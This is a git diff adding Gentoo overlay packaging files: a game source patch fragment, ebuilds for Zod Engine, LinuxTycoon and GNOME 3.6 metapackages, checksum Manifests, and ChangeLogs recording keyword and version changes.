+ 	filename = "assets/teams/" + team_type_string[team] + "_palette.bmp";
+-	surface = IMG_Load(filename.c_str());
++	surface = ZSDL_IMG_Load(filename.c_str(), false);
+ 
+ 	if(!surface)
+ 	{
+@@ -294,7 +294,7 @@
+ 
+ 	team_palette[team].SaveSurfacePalette(filename);
+ 
+-	//SDL_SaveBMP(team_palette[team], filename.c_str());
++	//ZSDL_SaveBMP(team_palette[team], filename);
+ }
+ 
+ void ZTeam::SaveAllPalettes()
diff --git a/games-strategy/zod-engine/zod-engine-20110906.ebuild b/games-strategy/zod-engine/zod-engine-20110906.ebuild
new file mode 100644
index 00000000..86528d3e
--- /dev/null
+++ b/games-strategy/zod-engine/zod-engine-20110906.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v3
+# $Header: $
+
+EAPI="3"
+
+WX_GTK_VER="2.8"
+
+inherit wxwidgets eutils games
+
+MY_PN="zod_linux"
+MY_P="${MY_PN}-${PV:0:4}-${PV:4:2}-${PV:6:2}"
+
+DESCRIPTION="Zod Engine is a remake of the 1996 classic game by Bitmap Brothers called Z"
+HOMEPAGE="http://zod.sourceforge.net/"
+SRC_URI="mirror://sourceforge/zod/${MY_P}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+RDEPEND="
+	>=media-libs/libsdl-1.2[X]
+	>=media-libs/sdl-ttf-2.0[X]
+	>=media-libs/sdl-mixer-1.2[timidity]
+	>=media-libs/sdl-image-1.2
+	virtual/mysql
+	x11-libs/wxGTK:2.8[X]"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/zod_engine"
+
+src_prepare() {
+	# various fixes and proper linux platform and filesystem support
+	epatch "${FILESDIR}/${P}-proper-linux-support.patch"
+
+	# fix files, this project really should provide a make install
+
+	# remove Thumbs.db files
+	find . -type f -name Thumbs.db -exec rm -f {} \; || die
+	# remove GIMP .xcf files
+	find . -type f -name "*.xcf" -exec rm -f {} \; || die
+	# remove Windows .ico files, unused on Linux build
+	find . -type f -name "*.ico" -exec rm -f {} \; || die
+	# remove useless icescene file
+	rm -f "assets/WebCamScene.icescene" || die
+	# remove unused splash screen
+	rm -f "assets/splash.png" || die
+}
+
+src_compile() {
+	emake -C zod_src DATA_PATH="\"${GAMES_DATADIR}/${PN}\"" map_editor main || die
+	emake -C zod_launcher_src DATA_PATH="\"${GAMES_DATADIR}/${PN}\"" || die
+}
+
+src_install() {
+	# custom install procedure for Gentoo
+	insinto "${GAMES_DATADIR}/${PN}"
+	doins -r assets blank_maps *.map default_settings.txt *map_list.txt || die
+	dogamesbin zod_launcher_src/zod_launcher || die
+	dogamesbin zod_src/zod || die
+	dogamesbin zod_src/zod_map_editor || die
+
+	newicon assets/icon.png ${PN}.png || die
+	make_desktop_entry zod_launcher "Zod Engine" || die
+
+	dodoc zod_engine_help.txt map_editor_help.txt || die
+
+	prepgamesdirs
+}
diff --git a/games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild b/games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild
new file mode 100644
index 00000000..d2bfa2bb
--- /dev/null
+++ b/games-tycoon/LinuxTycoon/LinuxTycoon-1.0.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit unpacker multilib versionator eutils
+
+MY_PN="LinuxTycoon"
+MY_PV=$(replace_version_separator 2 '-')
+MY_P="${MY_PN}-${MY_PV}"
+
+DESCRIPTION="Lunduke made Linux Tycoon"
+HOMEPAGE="http://lunduke.com/?page_id=2646"
+SRC_URI="http://www.lunduke.com/linuxtycoon/${MY_PN}.tar.gz -> ${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86"
+
+RESTRICT="fetch strip"
+
+RDEPEND="x11-libs/pango
+	media-libs/libpng:2
+	x11-libs/pixman
+	amd64? ( 
+		app-emulation/emul-linux-x86-gtklibs 
+		app-emulation/emul-linux-x86-baselibs	)"	
+DEPEND=""
+
+S="${WORKDIR}"
diff --git a/games-tycoon/LinuxTycoon/Manifest b/games-tycoon/LinuxTycoon/Manifest
new file mode 100644
index 00000000..1b68e486
--- /dev/null
+++ b/games-tycoon/LinuxTycoon/Manifest
@@ -0,0 +1,2 @@
+DIST LinuxTycoon-1.0.tar.gz 2114344 RMD160 9bc7c65f63402a1097641b126618826679e28514 SHA1 47a714d08ce48fb2a2b9158f5db55fa468ade55b SHA256 cc9aa32a33a54069a292a500fe55eae80d62a2583c72c6d677f19bfdcad13659
+EBUILD LinuxTycoon-1.0.ebuild 1208 RMD160 67cd0788d79e54da24d592b04974f73449f7eec8 SHA1 b6adf5663829dc5dc16f25b1a4554d960f076876 SHA256 52c0269effb825da0cdc2acb0b6d376de58c583d72a3d6ff5f49f1ff4abc4dc4
diff --git a/gnome-base/gnome-core-apps/ChangeLog b/gnome-base/gnome-core-apps/ChangeLog
new file mode 100644
index 00000000..123323d1
--- /dev/null
+++ b/gnome-base/gnome-core-apps/ChangeLog
@@ -0,0 +1,46 @@
+# ChangeLog for gnome-base/gnome-core-apps
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome-core-apps/ChangeLog,v 1.10 2013/01/06 09:35:24 ago Exp $
+
+  06 Jan 2013; Agostino Sarubbo <ago@gentoo.org> gnome-core-apps-3.6.2.ebuild:
+  Add ~sparc, wrt bug #449220
+
+  01 Jan 2013; Agostino Sarubbo <ago@gentoo.org> gnome-core-apps-3.6.2.ebuild:
+  Add ~alpha, wrt bug #449220
+
+  01 Jan 2013; Agostino Sarubbo <ago@gentoo.org> gnome-core-apps-3.6.2.ebuild:
+  Add ~ia64, wrt bug #449220
+
+  31 Dec 2012; Agostino Sarubbo <ago@gentoo.org> gnome-core-apps-3.6.2.ebuild:
+  Add ~ppc64, wrt bug #449220
+
+  31 Dec 2012; Agostino Sarubbo <ago@gentoo.org> gnome-core-apps-3.6.2.ebuild:
+  Add ~ppc, wrt bug #449220
+
+*gnome-core-apps-3.6.2 (26 Dec 2012)
+
+  26 Dec 2012; Gilles Dartiguelongue <eva@gentoo.org>
+  -gnome-core-apps-3.2.1.ebuild, +gnome-core-apps-3.6.2.ebuild:
+  Version bump.
+
+  05 Nov 2012; Ulrich Müller <ulm@gentoo.org> gnome-core-apps-3.2.1.ebuild,
+  gnome-core-apps-3.4.1.ebuild:
+  Change LICENSE to "metapackage", bug 440846.
+
+*gnome-core-apps-3.4.1 (10 Sep 2012)
+
+  10 Sep 2012; Alexandre Rostovtsev <tetromino@gentoo.org>
+  +gnome-core-apps-3.4.1.ebuild:
+  Add gnome-3.4.1 meta.
+
+  05 Jan 2012; Alexandre Rostovtsev <tetromino@gentoo.org>
+  gnome-core-apps-3.2.1.ebuild:
+  Add networkmanager USE flag, enabled by default, to make nm-applet optional
+  (bug #397635, thanks to Gert Wollny for reporting).
+
+*gnome-core-apps-3.2.1 (07 Nov 2011)
+
+  07 Nov 2011; Alexandre Rostovtsev <tetromino@gentoo.org>
+  +gnome-core-apps-3.2.1.ebuild, +metadata.xml:
+  Add the sub-meta package for core gnome-3 applications from the gnome
+  overlay.
diff --git a/gnome-base/gnome-core-apps/Manifest b/gnome-base/gnome-core-apps/Manifest
new file mode 100644
index 00000000..27d908d0
--- /dev/null
+++ b/gnome-base/gnome-core-apps/Manifest
@@ -0,0 +1,4 @@
+EBUILD gnome-core-apps-3.6.2-r1.ebuild 1876 SHA256 90bc2928413c206a5afc8935e8d6ec4cb3ae0738039f05bf9a72a119549ae38f SHA512 0d9b695166f4abc425ef4ffdcb1bc4f33896d05dd1aa8268c774a764f90251c4dbb6a93fad0ce2b68f34399627bc853d65b6cca90bd06d9d4e021bb5500b590d WHIRLPOOL 07303388e3e6ac2af3a62023b296977e4ffdd502644e20771901594c02ed1164c2419d786c5c9723dd1f9c435f69913d06f6a9f895313ad48e0442db4f35e28f
+EBUILD gnome-core-apps-3.6.2.ebuild 1876 SHA256 90bc2928413c206a5afc8935e8d6ec4cb3ae0738039f05bf9a72a119549ae38f SHA512 0d9b695166f4abc425ef4ffdcb1bc4f33896d05dd1aa8268c774a764f90251c4dbb6a93fad0ce2b68f34399627bc853d65b6cca90bd06d9d4e021bb5500b590d WHIRLPOOL 07303388e3e6ac2af3a62023b296977e4ffdd502644e20771901594c02ed1164c2419d786c5c9723dd1f9c435f69913d06f6a9f895313ad48e0442db4f35e28f
+MISC ChangeLog 1707 SHA256 e263bd0de341a84a53f6fa8546319d0a47a93cfa3b219bed54acb151c26deb6f SHA512 83c798b1089409e16ed3cea9b637f93639637d2f7041881055c715648fdbc6ffd9662b5186b7f9b5761222d418672f0d31de3e851b88dfa59cbb745816ca9f46 WHIRLPOOL 5a4413c968455a8c1e12f562aa21863c61f0f0c407a7299f67fbcf7933f3dc238b7dbaadcdad11276eb6ceeb4f81ef799ce5ee0930806be037bc90d5800ec8ca
+MISC metadata.xml 158 SHA256 3a7dbca0fdc557de69783e0663e2d76ddab129ea8a19b2d0ef6d3e5d1b947ce1 SHA512 7fbfbd2b3ed1b81867d55648509f778fdbe2091af53727b3426a3c7f453ae7e1663a99fdd2101508b8d6c85b3158459c93551b77a6a394f02d7e11cbc8a5ecf4 WHIRLPOOL 4bcd5662974877d42ebc4361b6eb412bfeea2af7144b436ce7ed152327d554afc321c376625ba0bb85a704b70d86e3c4882dff3573047acddd8ffccf655d4f7e
diff --git a/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild
new file mode 100644
index 00000000..8b772655
--- /dev/null
+++ b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2-r1.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild,v 1.6 2013/01/06 09:35:24 ago Exp $
+
+EAPI="5"
+
+DESCRIPTION="Sub-meta package for the core applications integrated with GNOME 3"
+HOMEPAGE="http://www.gnome.org/"
+LICENSE="metapackage"
+SLOT="3.0"
+IUSE="+bluetooth +cdr cups +networkmanager totem-dep empathy-dep"
+
+# when unmasking for an arch
+# double check none of the deps are still masked !
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+
+# Note to developers:
+# This is a wrapper for the core apps tightly integrated with GNOME 3
+# gtk-engines:2 is still around because it's needed for gtk2 apps
+RDEPEND="
+	>=gnome-base/gnome-core-libs-${PV}[cups?]
+
+	>=gnome-base/gnome-session-${PV}
+	>=gnome-base/gnome-menus-3.6.1:3
+	>=gnome-base/gnome-settings-daemon-3.6.3[cups?]
+	>=gnome-base/gnome-control-center-3.6.3[cups?]
+
+	>=app-crypt/gcr-${PV}
+	>=gnome-base/nautilus-3.6.3
+	>=gnome-base/gnome-keyring-${PV}
+	>=gnome-base/libgnome-keyring-3.6
+	>=gnome-extra/evolution-data-server-${PV}
+	>=gnome-extra/gnome-power-manager-3.6
+	>=gnome-extra/gnome-screensaver-3.6.1
+
+	>=app-crypt/seahorse-3.6.3
+	>=app-editors/gedit-${PV}
+	>=app-text/evince-3.6.1
+	>=gnome-extra/gnome-contacts-${PV}
+	>=media-gfx/eog-${PV}
+	totem-dep?	( >=media-video/totem-3.6.3 )
+	empathy-dep?	( >=net-im/empathy-${PV} )
+	>=x11-terms/gnome-terminal-3.6.1
+
+	>=gnome-extra/gnome-user-docs-${PV}
+	>=gnome-extra/yelp-${PV}
+
+	>=x11-themes/gtk-engines-2.20.2:2
+	>=x11-themes/gnome-icon-theme-${PV}
+	>=x11-themes/gnome-icon-theme-symbolic-${PV}
+	>=x11-themes/gnome-themes-standard-${PV}
+
+	bluetooth? ( >=net-wireless/gnome-bluetooth-3.6 )
+	cdr? ( >=app-cdr/brasero-3.6.1 )
+	networkmanager? ( >=gnome-extra/nm-applet-0.9.6.4[bluetooth?] )
+"
+DEPEND=""
+
+S="${WORKDIR}"
diff --git a/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild
new file mode 100644
index 00000000..8b772655
--- /dev/null
+++ b/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome-core-apps/gnome-core-apps-3.6.2.ebuild,v 1.6 2013/01/06 09:35:24 ago Exp $
+
+EAPI="5"
+
+DESCRIPTION="Sub-meta package for the core applications integrated with GNOME 3"
+HOMEPAGE="http://www.gnome.org/"
+LICENSE="metapackage"
+SLOT="3.0"
+IUSE="+bluetooth +cdr cups +networkmanager totem-dep empathy-dep"
+
+# when unmasking for an arch
+# double check none of the deps are still masked !
+KEYWORDS="~alpha ~amd64 ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+
+# Note to developers:
+# This is a wrapper for the core apps tightly integrated with GNOME 3
+# gtk-engines:2 is still around because it's needed for gtk2 apps
+RDEPEND="
+	>=gnome-base/gnome-core-libs-${PV}[cups?]
+
+	>=gnome-base/gnome-session-${PV}
+	>=gnome-base/gnome-menus-3.6.1:3
+	>=gnome-base/gnome-settings-daemon-3.6.3[cups?]
+	>=gnome-base/gnome-control-center-3.6.3[cups?]
+
+	>=app-crypt/gcr-${PV}
+	>=gnome-base/nautilus-3.6.3
+	>=gnome-base/gnome-keyring-${PV}
+	>=gnome-base/libgnome-keyring-3.6
+	>=gnome-extra/evolution-data-server-${PV}
+	>=gnome-extra/gnome-power-manager-3.6
+	>=gnome-extra/gnome-screensaver-3.6.1
+
+	>=app-crypt/seahorse-3.6.3
+	>=app-editors/gedit-${PV}
+	>=app-text/evince-3.6.1
+	>=gnome-extra/gnome-contacts-${PV}
+	>=media-gfx/eog-${PV}
+	totem-dep?	( >=media-video/totem-3.6.3 )
+	empathy-dep?	( >=net-im/empathy-${PV} )
+	>=x11-terms/gnome-terminal-3.6.1
+
+	>=gnome-extra/gnome-user-docs-${PV}
+	>=gnome-extra/yelp-${PV}
+
+	>=x11-themes/gtk-engines-2.20.2:2
+	>=x11-themes/gnome-icon-theme-${PV}
+	>=x11-themes/gnome-icon-theme-symbolic-${PV}
+	>=x11-themes/gnome-themes-standard-${PV}
+
+	bluetooth? ( >=net-wireless/gnome-bluetooth-3.6 )
+	cdr? ( >=app-cdr/brasero-3.6.1 )
+	networkmanager? ( >=gnome-extra/nm-applet-0.9.6.4[bluetooth?] )
+"
+DEPEND=""
+
+S="${WORKDIR}"
diff --git a/gnome-base/gnome-core-apps/metadata.xml b/gnome-base/gnome-core-apps/metadata.xml
new file mode 100644
index 00000000..da6fd63d
--- /dev/null
+++ b/gnome-base/gnome-core-apps/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>gnome</herd>
+</pkgmetadata>
diff --git a/gnome-base/gnome/ChangeLog b/gnome-base/gnome/ChangeLog
new file mode 100644
index 00000000..3a095d58
--- /dev/null
+++ b/gnome-base/gnome/ChangeLog
@@ -0,0 +1,1743 @@
+# ChangeLog for gnome-base/gnome
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/gnome-base/gnome/ChangeLog,v 1.450 2013/01/06 09:34:33 ago Exp $
+
+  06 Jan 2013; Agostino Sarubbo <ago@gentoo.org> gnome-3.6.2.ebuild:
+  Add ~sparc, wrt bug #449220
+
+  01 Jan 2013; Agostino Sarubbo <ago@gentoo.org> gnome-3.6.2.ebuild:
+  Add ~alpha, wrt bug #449220
+
+  01 Jan 2013; Agostino Sarubbo <ago@gentoo.org> gnome-3.6.2.ebuild:
+  Add ~ia64, wrt bug #449220
+
+  31 Dec 2012; Agostino Sarubbo <ago@gentoo.org> gnome-3.6.2.ebuild:
+  Add ~ppc64, wrt bug #449220
+
+  31 Dec 2012; Agostino Sarubbo <ago@gentoo.org> gnome-3.6.2.ebuild:
+  Add ~ppc, wrt bug #449220
+
+  26 Dec 2012; Gilles Dartiguelongue <eva@gentoo.org> gnome-3.6.2.ebuild:
+  Drop unneeded blank line.
+
+*gnome-3.6.2 (26 Dec 2012)
+
+  26 Dec 2012; Gilles Dartiguelongue <eva@gentoo.org> -gnome-3.2.1.ebuild,
+  +gnome-3.6.2.ebuild:
+  Version bump.
+
+  05 Nov 2012; Ulrich Müller <ulm@gentoo.org> gnome-2.32.1-r2.ebuild,
+  gnome-3.2.1.ebuild, gnome-3.4.1.ebuild:
+  Change LICENSE to "metapackage", bug 440846.
+
+  10 Sep 2012; Alexandre Rostovtsev <tetromino@gentoo.org> gnome-3.2.1.ebuild,
+  gnome-3.4.1.ebuild:
+  Make bluetooth optional, bug #362613.
+
+*gnome-3.4.1 (10 Sep 2012)
+
+  10 Sep 2012; Alexandre Rostovtsev <tetromino@gentoo.org> +gnome-3.4.1.ebuild:
+  Add gnome-3.4.1 meta.
+
+  15 Jul 2012; Raúl Porcel <armin76@gentoo.org> gnome-2.32.1-r2.ebuild:
+  alpha/ia64/sparc stable wrt #410611
+
+  06 Jun 2012; Samuli Suominen <ssuominen@gentoo.org> -gnome-2.32.1-r1.ebuild:
+  old
+
+  24 May 2012; Samuli Suominen <ssuominen@gentoo.org> gnome-2.32.1-r2.ebuild:
+  ppc stable wrt #410611
+
+  15 May 2012; Samuli Suominen <ssuominen@gentoo.org> gnome-2.32.1-r1.ebuild,
+  gnome-2.32.1-r2.ebuild, gnome-3.2.1.ebuild:
+  Relax PDEPEND for gnome-base/gvfs wrt USE="udisks" vs. USE="gdu"
+
+  29 Apr 2012; Markus Meier <maekke@gentoo.org> gnome-2.32.1-r2.ebuild:
+  x86 stable, bug #410611
+
+  19 Apr 2012; Brent Baude <ranger@gentoo.org> gnome-2.32.1-r2.ebuild:
+  Marking gnome-2.32.1-r2 ppc64 stable for bug 410611
+
+  18 Apr 2012; Agostino Sarubbo <ago@gentoo.org> gnome-2.32.1-r2.ebuild:
+  Stable for amd64, wrt bug #410611
+
+  25 Mar 2012; Pacho Ramos <pacho@gentoo.org> gnome-2.32.1-r2.ebuild:
+  Fix blocker to not block old slots too, thanks a lot to ulm for the heads up
+  on IRC.
+
+*gnome-2.32.1-r2 (25 Mar 2012)
+
+  25 Mar 2012; Pacho Ramos <pacho@gentoo.org> +gnome-2.32.1-r2.ebuild:
+  Force people to use a gtk+-3 fixed version for getting proper fallback theming
+  instead of relying on workarounds.
+
+  07 Dec 2011; Alexandre Rostovtsev <tetromino@gentoo.org>
+  gnome-2.32.1-r1.ebuild:
+  Do not pull in libgweather-3 (bug #393253, thanks to megabaks for reporting).
+
+  21 Nov 2011; Pacho Ramos <pacho@gentoo.org> -gnome-2.32.1.ebuild:
+  Drop old.
+
+*gnome-3.2.1 (07 Nov 2011)
+
+  07 Nov 2011; Alexandre Rostovtsev <tetromino@gentoo.org> +gnome-3.2.1.ebuild,
+  metadata.xml:
+  Bump to 3.2.1 from the gnome overlay. Uses the new sub-meta packages. Dropped
+  alpha, ia64, ppc, ppc64, sparc keywords due to new dependencies. Keywording
+  bug will be filed soon.
+
+  30 Oct 2011; Raúl Porcel <armin76@gentoo.org> gnome-2.32.1-r1.ebuild:
+  alpha/ia64/sparc stable wrt #385699
+
+  21 Oct 2011; Pawel Hajdan jr <phajdan.jr@gentoo.org> gnome-2.32.1-r1.ebuild:
+  x86 stable wrt bug #385699
+
+  16 Oct 2011; Kacper Kowalik <xarthisius@gentoo.org> gnome-2.32.1-r1.ebuild:
+  ppc/ppc64 stable wrt #385699
+
+  14 Oct 2011; Samuli Suominen <ssuominen@gentoo.org> gnome-2.32.1-r1.ebuild:
+  amd64 stable wrt #385699
+
+  04 Oct 2011; Pacho Ramos <pacho@gentoo.org> gnome-2.32.1-r1.ebuild:
+  Prepare metas to inform people about gtk3 theming issues inside Gnome2 and to
+  pull proper themes for gtk3 apps.
+
+*gnome-2.32.1-r1 (10 Sep 2011)
+
+  10 Sep 2011; Pacho Ramos <pacho@gentoo.org> +gnome-2.32.1-r1.ebuild:
+  Add dconf to fix problems like bug #375101, use
+  app-admin/system-config-printer-gnome instead of deprecated and unmaintained
+  net-print/gnome-cups-manager, remove old.
+
+  19 Aug 2011; Nirbheek Chauhan <nirbheek@gentoo.org> -gnome-2.30.2.ebuild,
+  -gnome-2.30.2-r1.ebuild:
+  Remove old
+
+  14 Apr 2011; Nirbheek Chauhan <nirbheek@gentoo.org> gnome-2.30.2.ebuild,
+  gnome-2.30.2-r1.ebuild, gnome-2.32.1.ebuild:
+  Restrict version dependency on gnome-media. Newer versions don't install
+  libgnome-media-profiles.
+
+  22 Mar 2011; Brent Baude <ranger@gentoo.org> gnome-2.32.1.ebuild:
+  Marking gnome-2.32.1 ppc stable for bug 353436
+
+  21 Mar 2011; Kacper Kowalik <xarthisius@gentoo.org> gnome-2.32.1.ebuild:
+  ppc64 stable wrt #353436
+
+  22 Mar 2011; Nirbheek Chauhan <nirbheek@gentoo.org> gnome-2.30.2.ebuild,
+  gnome-2.30.2-r1.ebuild:
+  Fix slot-dep on gtk-engines
+
+  16 Mar 2011; Nirbheek Chauhan <nirbheek@gentoo.org>
+  gnome-2.30.2-r1.ebuild, gnome-2.32.1.ebuild:
+  Fix epiphany deps, bug 323857
+
+  16 Mar 2011; Nirbheek Chauhan <nirbheek@gentoo.org> gnome-2.30.2.ebuild,
+  gnome-2.30.2-r1.ebuild, gnome-2.32.1.ebuild:
+  Fix slot-deps on gtk+ and other libs
+
+  12 Mar 2011; Raúl Porcel <armin76@gentoo.org> gnome-2.32.1.ebuild:
+  alpha/ia64/sparc stable wrt #353436
+
+  11 Mar 2011; Pacho Ramos <pacho@gentoo.org> -gnome-2.32.0.ebuild,
+  gnome-2.32.1.ebuild:
+  Drop libgnomeprint dependencies as they deprecated and unsupported for a long
+  time (bug #352952), pin dependencies to proper slots, remove old.
+
+  24 Feb 2011; Thomas Kahle <tomka@gentoo.org> gnome-2.32.1.ebuild:
+  x86 stable per bug 353436
+
+  23 Feb 2011; Markos Chandras <hwoarang@gentoo.org> gnome-2.32.1.ebuild:
+  Stable on amd64 wrt bug #353436
+
+  11 Feb 2011; Samuli Suominen <ssuominen@gentoo.org> gnome-2.32.0.ebuild,
+  gnome-2.32.1.ebuild:
+  Remove unnecessary gnome-base/libgnomeui depend.
+
+  07 Feb 2011; Pacho Ramos <pacho@gentoo.org> gnome-2.32.1.ebuild:
+  Drop ekiga RDEPEND as talked with the rest of the team since it's mainly
+  being maintained by voip and isn't even in Gnome3 list.
+
+  07 Feb 2011; Samuli Suominen <ssuominen@gentoo.org> gnome-2.30.2.ebuild,
+  gnome-2.30.2-r1.ebuild, gnome-2.32.0.ebuild, gnome-2.32.1.ebuild:
+  Remove deprecated information about plugdev group. Replaced by authorization
+  from ConsoleKit and PolicyKit.
+
+*gnome-2.32.1 (01 Feb 2011)
+
+  01 Feb 2011; Pacho Ramos <pacho@gentoo.org> +gnome-2.32.1.ebuild:
+  Version bump.
+
+  30 Jan 2011; Raúl Porcel <armin76@gentoo.org> gnome-2.30.2-r1.ebuild:
+  alpha/ia64/sparc stable wrt #348987
+
+  27 Jan 2011; Kacper Kowalik <xarthisius@gentoo.org> gnome-2.32.0.ebuild:
+  added ~ppc wrt #348984
+
+  19 Jan 2011; Markos Chandras <hwoarang@gentoo.org> gnome-2.30.2-r1.ebuild:
+  Stable on amd64 wrt bug #348987
+
+  19 Jan 2011; Pacho Ramos <pacho@gentoo.org> gnome-2.30.2-r1.ebuild,
+  gnome-2.32.0.ebuild:
+  Lower ekiga.
+
+  19 Jan 2011; Pacho Ramos <pacho@gentoo.org> gnome-2.30.2-r1.ebuild,
+  gnome-2.32.0.ebuild:
+  Lower gcalctool and gnome-games requirements as their .30. versions are not
+  ready. Drop ppc keyword due bug #348984.
+
+  18 Jan 2011; Christian Faulhammer <fauli@gentoo.org>
+  gnome-2.30.2-r1.ebuild:
+  x86 stable, bug 348987
+
+  15 Jan 2011; <nirbheek@gentoo.org> gnome-2.30.2.ebuild,
+  gnome-2.30.2-r1.ebuild, gnome-2.32.0.ebuild:
+  libgweather slotmove 0 -> 2, new gtk+:3 version coming up
+
+*gnome-2.32.0 (16 Dec 2010)
+
+  16 Dec 2010; Gilles Dartiguelongue <eva@gentoo.org> +gnome-2.32.0.ebuild:
+  Add meta for Gnome 2.32.
+
+*gnome-2.30.2-r1 (10 Nov 2010)
+
+  10 Nov 2010; Gilles Dartiguelongue <eva@gentoo.org>
+  +gnome-2.30.2-r1.ebuild:
+  Update dependencies for a pseudo 2.30.3.
+
+  08 Nov 2010; Arun Raghavan <ford_prefect@gentoo.org> gnome-2.30.2.ebuild:
+  Clarify gnome-desktop dep as being slot 2
+
+  05 Nov 2010; Pacho Ramos <pacho@gentoo.org> -gnome-2.26.3.ebuild,
+  -gnome-2.28.2.ebuild:
+  Remove old.
+
+  01 Nov 2010; Samuli Suominen <ssuominen@gentoo.org> gnome-2.30.2.ebuild:
+  ppc64 stable wrt #324077
+
+  17 Oct 2010; Raúl Porcel <armin76@gentoo.org> gnome-2.30.2.ebuild:
+  alpha/ia64/sparc stable wrt #324077
+
+  11 Sep 2010; Joseph Jezak <josejx@gentoo.org> gnome-2.30.2.ebuild:
+  Marked ppc for bug #324077.
+
+  14 Aug 2010; Raúl Porcel <armin76@gentoo.org> gnome-2.30.2.ebuild:
+  Drop sh
+
+  14 Aug 2010; Raúl Porcel <armin76@gentoo.org> gnome-2.28.2.ebuild:
+  alpha/ia64/sparc stable wrt #314899
+
+  11 Aug 2010; Joseph Jezak <josejx@gentoo.org> gnome-2.28.2.ebuild,
+  gnome-2.30.2.ebuild:
+  Marked ~ppc for bug #313563.
+
+  03 Aug 2010; Nirbheek Chauhan <nirbheek@gentoo.org> gnome-2.30.2.ebuild:
+  Reduce requirements for gcalctool and gnome-games. They have feature
+  regressions, and should not have gone stable.
+
+  01 Aug 2010; Christian Faulhammer <fauli@gentoo.org> gnome-2.30.2.ebuild:
+  x86 stable, bug 324077
+
+  31 Jul 2010; Pacho Ramos <pacho@gentoo.org> gnome-2.30.2.ebuild:
+  amd64 stable, bug 324077
+
+  12 Jul 2010; Pacho Ramos <pacho@gentoo.org> gnome-2.30.2.ebuild:
+  Rekeyword on sparc,sh,ia64 and alpha now that bug #323831 is solved for
+  them.
+
+  12 Jul 2010; Pacho Ramos <pacho@gentoo.org> gnome-2.26.3.ebuild:
+  Drop gnome-extra/nautilus-cd-burner references since it will be dropped
+  soon.
+
+*gnome-2.30.2 (09 Jul 2010)
+
+  09 Jul 2010; Pacho Ramos <pacho@gentoo.org> +gnome-2.30.2.ebuild:
+  Version bump.
+
+  06 Jul 2010; Samuli Suominen <ssuominen@gentoo.org> gnome-2.28.2.ebuild:
+  Keyword ~ppc64 wrt #313563
+
+  04 Jun 2010; Markus Meier <maekke@gentoo.org> gnome-2.28.2.ebuild:
+  x86 stable, bug #314899
+
+  22 May 2010; Raúl Porcel <armin76@gentoo.org> gnome-2.28.2.ebuild:
+  Add ~alpha/~ia64/~sparc wrt #313563
+
+  03 May 2010; Olivier Crête <tester@gentoo.org> gnome-2.28.2.ebuild:
+  amd64 stable, bug #314899
+
+  25 Apr 2010; Pacho Ramos <pacho@gentoo.org> gnome-2.28.2.ebuild:
+  Lower ekiga requeriment since 3.x is not ready to be stabilized yet as
+  talked with voip herd.
+
+  12 Apr 2010; Gilles Dartiguelongue <eva@gentoo.org> -gnome-2.28.1.ebuild,
+  gnome-2.28.2.ebuild:
+  Drop esound dependency from gnome 2.28. Clean up old revision.
+
+  30 Mar 2010; Pacho Ramos <pacho@gentoo.org> gnome-2.28.2.ebuild:
+  Add a policykit USE flag as suggested by Gilles to make sure users get a
+  visual feedback when they don't have the correct priviledges. Added as an
+  optional RDEPEND since local tests and reviewing seem to indicate it
+  doesn't add any circular deps problem.
+
+  30 Mar 2010; Pacho Ramos <pacho@gentoo.org> gnome-2.28.2.ebuild:
+  Lower epiphany to 2.26.3-r3 since 2.28 is not ready to go stable and that
+  2.26 revision fixes important bugs over previous ones.
+
+  06 Mar 2010; Nirbheek Chauhan <nirbheek@gentoo.org> gnome-2.28.2.ebuild:
+  Fix bug 306431 by adding a dependency on gvfs[gdu]. Also move it to
+  PDEPEND to prevent circular dependencies (gnome -> nautilus, gvfs[gdu] ->
+  gnome-disk-utility[nautilus] -> nautilus)
+
+*gnome-2.28.2 (24 Feb 2010)
+
+  24 Feb 2010; Gilles Dartiguelongue <eva@gentoo.org> -gnome-2.24.1.ebuild,
+  +gnome-2.28.2.ebuild:
+  Version bump. Drop a couple of deprecated/add new dependencies.
+
+*gnome-2.28.1 (15 Jan 2010)
+
+  15 Jan 2010; Gilles Dartiguelongue <eva@gentoo.org> -gnome-2.26.2.ebuild,
+  +gnome-2.28.1.ebuild:
+  Version bump.
+
+  03 Dec 2009; Brent Baude <ranger@gentoo.org> gnome-2.26.3.ebuild:
+  Marking gnome-2.26.3 ppc64 stable for bug 281427
+
+  28 Nov 2009; Raúl Porcel <armin76@gentoo.org> gnome-2.26.3.ebuild:
+  alpha/ia64/sparc stable wrt #281427
+
